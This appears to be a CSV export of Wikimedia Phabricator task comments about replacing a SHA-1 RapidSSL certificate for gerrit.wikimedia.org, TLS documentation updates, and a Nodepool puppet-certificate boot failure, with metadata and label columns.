+Ytterbium is the current gerrit host, and it communicates over port 8080 for some of its functions.  Additionally, it has to use the typical 443 or port 80 for web requests.  My understanding of the varnish backend config is you can only route a single port (default 80).  The role/cache:misc shows port 80 for default, but previous attempts to make gerrit work listing the port 8080 requirement.  Since we cannot do forwards for both 8080 and 80 (replacing 443 once we used misc-web), it seems this wouldn't work.  Again, this is my understanding of it, and if I'm wrong, please let me know!  (The ideal is this goes behind misc-web if only to simplify our ssl certificate requirements.)
+
+Previous testing discussion with both Daniel and Chad seem to back this up.  While there may be a work around, I don't quite know how to do so.
+
+So if a work around is known, we can attempt it, or we can simply purchase a new gerrit certificate. (RT#9130)",,,1421269439,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+399527,Chrome warns about insecure certificate on gerrit.wikimedia.org,">>! In T76562#964609, @RobH wrote:
+> So this won't work behind misc-web-lb until after the gerrit dependency on using sshd on the same interface is happening (since misc-web-lb redirects all backend traffic to port 8080.)
+> 
+> The sshd port could be configured to a second interface to work around this.  I'm not sure if it is worth a lot more cycles of work, but it would be nice to have all these misc services behind a centrally configured ssl termination cluster.
+
+I don't understand what this means. Can you elaborate?",,,1421252877,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,False,,,-25,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+399083,Chrome warns about insecure certificate on gerrit.wikimedia.org,"There are two issues here that I can see:
+
+1) gerrit.wikimedia.org certificate is sha1
+
+2) gerrit.wikimedia.org is rapidssl certificate, a vendor we have migrated away from, so any reissues or revocations of a certificate means we just move it to the new vendor.
+
+As such, I've created an RT ticket (9130) to get approval to order a new certificate for this.  Since our procurement process has not migrated quite yet (it will soon, but will be last RT item to migrate), I'll just keep this assigned to me until after the order is completed and implemented.",,,1421176369,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1
+397128,Chrome warns about insecure certificate on gerrit.wikimedia.org,">>! In T76562#939750, @Dzahn wrote:
+>>>! In T76562#846225, @Seb35 wrote:
+>> The certificate *.wikimedia.org used on phabricator.wikimedia.org and other sites can be used; it has a SHA-256 signature.
+> 
+> The screenshot doesn't make it look like that is the actual issue but instead that it comes from RapidSSL. ?
+
+The message does sound like that, but I don't think that's the problem. The same message is shown when in the details about phrabricator.wikimedia.org (which has a green badge).
+
+{F27060}
+{F18152}",,,1420770490,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,1
+397127,Chrome warns about insecure certificate on gerrit.wikimedia.org,">>! In T76562#939750, @Dzahn wrote:
+>>>! In T76562#846225, @Seb35 wrote:
+>> The certificate *.wikimedia.org used on phabricator.wikimedia.org and other sites can be used; it has a SHA-256 signature.
+> 
+> The screenshot doesn't make it look like that is the actual issue but instead that it comes from RapidSSL. ?
+
+The message does sound like that, but I don't think that is the issue since the same message is displayed when I pop up details about the encryption on phrabricator.wikimedia.org (which has a green badge).
+
+{F27060}
+{F18152}",,,1420770448,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,1
+397036,Chrome warns about insecure certificate on gerrit.wikimedia.org,"So this won't work behind misc-web-lb until after the gerrit dependency on using sshd on the same interface is happening (since misc-web-lb redirects all backend traffic to port 8080.)
+
+The sshd port could be configured to a second interface to work around this.  I'm not sure if it is worth a lot more cycles of work, but it would be nice to have all these misc services behind a centrally configured ssl termination cluster.",,,1420756871,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0
+397001,Chrome warns about insecure certificate on gerrit.wikimedia.org,"I'll test this out with setting up the misc web to handle it and locally hacking my /etc/hosts, not changing dns",,,1420753193,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+396877,Chrome warns about insecure certificate on gerrit.wikimedia.org,"I'd suggest we test and use the misc-web-lb for this, since it means one less certificate and therefore less general overhead (since we already have the commitment to maintain misc-web-lb).",,,1420742761,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0
+396853,Chrome warns about insecure certificate on gerrit.wikimedia.org,"It is relevant for #code-review either way, so we definitely should then",,,1420740618,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+396750,Chrome warns about insecure certificate on gerrit.wikimedia.org,I don't remember to be honest. We could certainly test it.,,,1420730863,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+396744,Chrome warns about insecure certificate on gerrit.wikimedia.org,">>! In T76562#961213, @Chad wrote:
+> We tried putting it behind misc-web-lb but we had problems with the git protocol behaving through the proxy if memory serves.
+
+
+With normal HTTP proxying by Varnish I can imagine that. But has VCL return(pipe) been attempted as well, such that Varnish acts as simple TCP proxy for the remainer of the TCP connection?",,,1420730328,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,False,,,-25,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,1
+396742,Chrome warns about insecure certificate on gerrit.wikimedia.org,"@mark, it sounds like we need to buy a certificate to make this go away, is that something you would approve?",,,1420730192,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0
+396468,Chrome warns about insecure certificate on gerrit.wikimedia.org,"We tried putting it behind misc-web-lb but we had problems with the git protocol behaving through the proxy if memory serves.
+
+The only reason we bought it it's own cert was because we wanted to stop using *.wikimedia.org on misc services (and if memory serves we bought several similar ones at the time). It can very easily use a star or combined cert.",,,1420674377,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-26,True,1,0,1,0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+396438,Chrome warns about insecure certificate on gerrit.wikimedia.org,"So we have two options (that I see):
+
+- Push gerrit behind misc-web-lb, so it uses the wildcard certifiate (globalsign) and doesn't have this issue.
+
+- Order a new certificate for gerrit (since we don't use RapidSSL for any updated deployments).
+
+We purchased a gerrit.wikimedia.org certificate per Chad's request on old RT#4976, and I know he has explained why its better on its own cert, but I cannot find said reasoning.  I've CC'd Chad so perhaps he can reply back with why it needs its own.  (If it no longer does, we can put behind misc-web; if it does I'll create a procurement ticket for it.)",,,1420671474,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-26,True,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+394312,Chrome warns about insecure certificate on gerrit.wikimedia.org,"I agree with this task being a relatively high priority.
+
+I discussed this issue with @Krenair earlier today. The warning in Chrome is unsightly. He says we just need a new certificate for gerrit.wikimedia.org that doesn't rely on outdated algorithms, maybe?
+
+en.wikipedia.org and lists.wikimedia.org both seem unaffected by this issue. @Dzahn: it feels like gerrit.wikimedia.org is already using its own certificate... does a new one need to be purchased or could we just fix the current one?",,,1420001052,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-27,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+392088,Chrome warns about insecure certificate on gerrit.wikimedia.org,">>! In T76562#846225, @Seb35 wrote:
+> The certificate *.wikimedia.org used on phabricator.wikimedia.org and other sites can be used; it has a SHA-256 signature.
+
+The screenshot doesn't make it look like that is the actual issue but instead that it comes from RapidSSL. ?",,,1419256887,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,1
+392087,Chrome warns about insecure certificate on gerrit.wikimedia.org,"ways to solve this:
+
+- resolve T18
+- buy a new cert
+- move gerrit behind misc-web varnish?? (without caching)
+",,,1419256546,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0
+392084,Chrome warns about insecure certificate on gerrit.wikimedia.org,">>! In T76562#846225, @Seb35 wrote:
+> The certificate *.wikimedia.org used on phabricator.wikimedia.org and other sites can be used; it has a SHA-256 signature.
+
+but we don't want to copy that cert to the gerrit host.",,,1419255849,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,1
+341953,Chrome warns about insecure certificate on gerrit.wikimedia.org,The certificate *.wikimedia.org used on phabricator.wikimedia.org and other sites can be used; it has a SHA-256 signature.,,,1418492302,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,False,,,-29,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+335836,Chrome warns about insecure certificate on gerrit.wikimedia.org,Also see {T73156} about another Chrome warning for Gerrit.,,,1417615582,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-31,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+97316,review/rebase/merge the final sslcert patch...,https://gerrit.wikimedia.org/r/#/c/197341/ <- so I don't forget again!,Medium,50.0,1430156915,1433212378.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-4qvck4txjpmx5ad7wnoq,task_description,resolved,True,c3,1,True,True,True,-10,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1
+467201,review/rebase/merge the final sslcert patch...,"This was broken up and then merged/fixed over 4 commits:
+
+https://gerrit.wikimedia.org/r/197341
+https://gerrit.wikimedia.org/r/215266
+https://gerrit.wikimedia.org/r/215268
+https://gerrit.wikimedia.org/r/215249
+
+It's now deployed everywhere, and I know that the certs it can/will create are either identical to or better than the existing certs everywhere (verified).
+
+However, as it stands, the x509-bundle stuff doesn't overwrite older existing chained.crt files, it only generates missing ones.  In many cases, the current ones are wrong and should be replaced.  Should we just take the `creates` check off of it for a a while and let it do so? I don't think services get auto-restarted on that either, but it would be a start...",,,1433212378,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-4qvck4txjpmx5ad7wnoq,task_subcomment,,True,c3,1,True,,,-5,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,1,0,1
+96844,Update TLS/HTTP documentation on wikitech,"https://wikitech.wikimedia.org/wiki/HTTPS is outdated.
+
+...as pointed out by @BBlack in https://phabricator.wikimedia.org/T96676#1225820",Medium,50.0,1429709693,1673982559.0,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-USER-xmodofj3xfcdg43wyifb,False,PHID-TASK-n6plnuqoeem5twifpdjp,task_description,duplicate,True,c3,1,True,False,False,-11,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0
+2050533,Update TLS/HTTP documentation on wikitech,"Even though this is the older ticket, marking as a dupe of T240813 since that had more relevant information.",,,1673982566,,PHID-USER-xmodofj3xfcdg43wyifb,True,,,PHID-TASK-n6plnuqoeem5twifpdjp,task_subcomment,,True,c3,3,True,,,393,True,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0
+1777827,Update TLS/HTTP documentation on wikitech,"The swap of #traffic for #traffic-icebox in this ticket's set of tags was based on a bulk action for all such tickets that haven't been updated in 6 months or more.  This does not imply any human judgement about the validity or importance of the task, and is simply the first step in a larger task cleanup effort.  Further manual triage and/or requests for updates will happen this month for all such tickets.  For more detail, have a look at the extended explanation on the main page of #traffic-icebox .  Thank you!",,,1630538490,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-n6plnuqoeem5twifpdjp,task_subcomment,,True,c3,3,True,,,321,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0
+1411662,Update TLS/HTTP documentation on wikitech,"This task has been open since 2015 and the Wikitech HTTPS documentation is still in need of improvement. While the HTTPS pages on Wikitech have been updated since then, the HTTPS requirements on Wikimedia sites are undergoing a large change due to T238038.
+
+Other OTRS agents and I have noticed this issue while dealing with various complaints about the deprecation warning. One ticket I handled needed more technical information about the requirements because they thought their systems supported TLS 1.2. That information was not easy to find or complete. Another agent handled a ticket with a complaint that [[https://wikitech.wikimedia.org/wiki/HTTPS/Browser_Recommendations|HTTPS/Browser Recommendations § Network Security Matters]] said they could still read pages when they were being prevented from doing so.
+
+Because the information that should be on these pages is not readily available, they need to be updated by someone who knows how HTTPS is configured on Wikimedia sites.",,,1576467152,,PHID-USER-kbzm2um2jcqzty52qf5a,True,,,PHID-TASK-n6plnuqoeem5twifpdjp,task_subcomment,,True,c3,3,False,,,232,True,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+96670,Instances created by Nodepool cant run puppet due to missing certificate,"When Nodepool spawns a Trusty image, the instance stall on boot while doing the puppet certificate work:
+```
+Info: Creating a new SSL key for i-00000b80.eqiad.wmflabs
+Info: Caching certificate for ca
+Info: csr_attributes file loading from /etc/puppet/csr_attributes.yaml
+Info: Creating a new SSL certificate request for i-00000b80.eqiad.wmflabs
+Info: Certificate Request fingerprint (SHA256): 24:DD:BF:BC:FA:B4:42:BC:E5:3D:58:F5:15:9F:51:D1:DE:7B:11:E1:F1:99:6A:D8:3A:CB:6F:B2:D4:E0:F6:BB
+Info: Caching certificate for ca
+Notice: Did not receive certificate
+Notice: Did not receive certificate
+Notice: Did not receive certificate
+```
+
+On Wikitech, the Nova_Resource page shows that it is missing a few fields injected by OpenStackManager. Compared to the [[ https://wikitech.wikimedia.org/wiki/Nova_Resource:I-00000b7b.eqiad.wmflabs | an instance manually created]], the instance spawned by Nodepool one is missing the fields:
+
+```
+Resource type
+    instance
+Image Id
+    ubuntu-14.04-trusty
+FQDN
+    i-00000b7b.eqiad.wmflabs
+Puppet Class
+    base, role::labs::instance
+Puppet Var
+    realm=labs, use_dnsmasq=true, instanceproject=contintcloud, instancename=trusty-manual
+```
+
+Looking at `firstboot.sh`, the script does a LDAP search to grab puppet vars:
+```
+$ ldapsearch -x -D 'cn=proxyagent,ou=profile,dc=wikimedia,dc=org' -w '###########' -b 'ou=hosts,dc=wikimedia,dc=org' 'dc=i-00000b7b.eqiad.wmflabs'|grep puppetVar
+puppetVar: realm=labs
+puppetVar: use_dnsmasq=true
+puppetVar: instanceproject=contintcloud
+puppetVar: instancename=trusty-manual
+```
+
+The same query yields nothing for the NodePool instance since that is injected by OpenStack manager.",Medium,50.0,1429616908,1437570868.0,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-k5lzews4o4mdcrqwu4km,task_description,resolved,True,c3,1,True,True,True,-11,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1
+494849,Instances created by Nodepool cant run puppet due to missing certificate,@Andrew fixed labs so we can boot instances from the OpenStack API and I confirmed it works fine.  We can also spawn them from the Horizon dashboard!,,,1437570868,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-k5lzews4o4mdcrqwu4km,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,0,0,0,0
+477855,Instances created by Nodepool cant run puppet due to missing certificate,"Change 210032 abandoned by Hashar:
+labs: support injecting tenant in firstboot.sh
+
+Reason:
+Probably not needed anymore
+
+[[https://gerrit.wikimedia.org/r/210032]]",,,1434701134,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k5lzews4o4mdcrqwu4km,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+473069,Instances created by Nodepool cant run puppet due to missing certificate,That task is the reason instances booted on labs by nodepool do not manage to first boot.,,,1434038327,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-k5lzews4o4mdcrqwu4km,task_subcomment,,True,c3,1,True,,,-3,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+473036,Instances created by Nodepool cant run puppet due to missing certificate,"Change 210032 had a related patch set uploaded (by Hashar):
+labs: support injecting tenant in firstboot.sh
+
+[[https://gerrit.wikimedia.org/r/210032]]
+",,,1434036442,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k5lzews4o4mdcrqwu4km,task_subcomment,,True,c3,1,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+450626,Instances created by Nodepool cant run puppet due to missing certificate,"For now, only the CI isolation project is going to spawn instances directly via the OpenStack API.  In firstboot.sh, the only line relying on puppetVar is:
+
+    project=`ldapsearch -x -D ${binddn} -w ${bindpw} -b ${hostsou} ""dc=${idfqdn}"" puppetvar | grep 'instanceproject' | sed 's/.*=//'`
+
+Which is merely fetch from ldap the puppetvar fields to get the labs project name.  For CI isolation we are going to use custom images. We could teach firstboot.sh to source a file that contains environment variables and hardcode the project to contintcloud. Something like:
+
+**firstboot.env**
+```
+lang=bash
+WMFLABS_INSTANCE_PROJECT=""contintcloud
+```
+
+**firstboot.sh**
+```
+lang=bash
+[ -f firstboot.env ] && . firstboot.env
+
+project_from_ldap=`ldapsearch -x -D ${binddn} -w ${bindpw} -b ${hostsou} ""dc=${idfqdn}"" puppetvar | grep 'instanceproject' | sed 's/.*=//'`
+project={WMFLABS_INSTANCE_PROJECT:-$project_from_ldap}
+```
+
+This way we can override the ldapsearch in the CI custom images.
+
+
+
+
+
+",,,1430253900,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-k5lzews4o4mdcrqwu4km,task_subcomment,,True,c3,1,True,,,-10,True,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
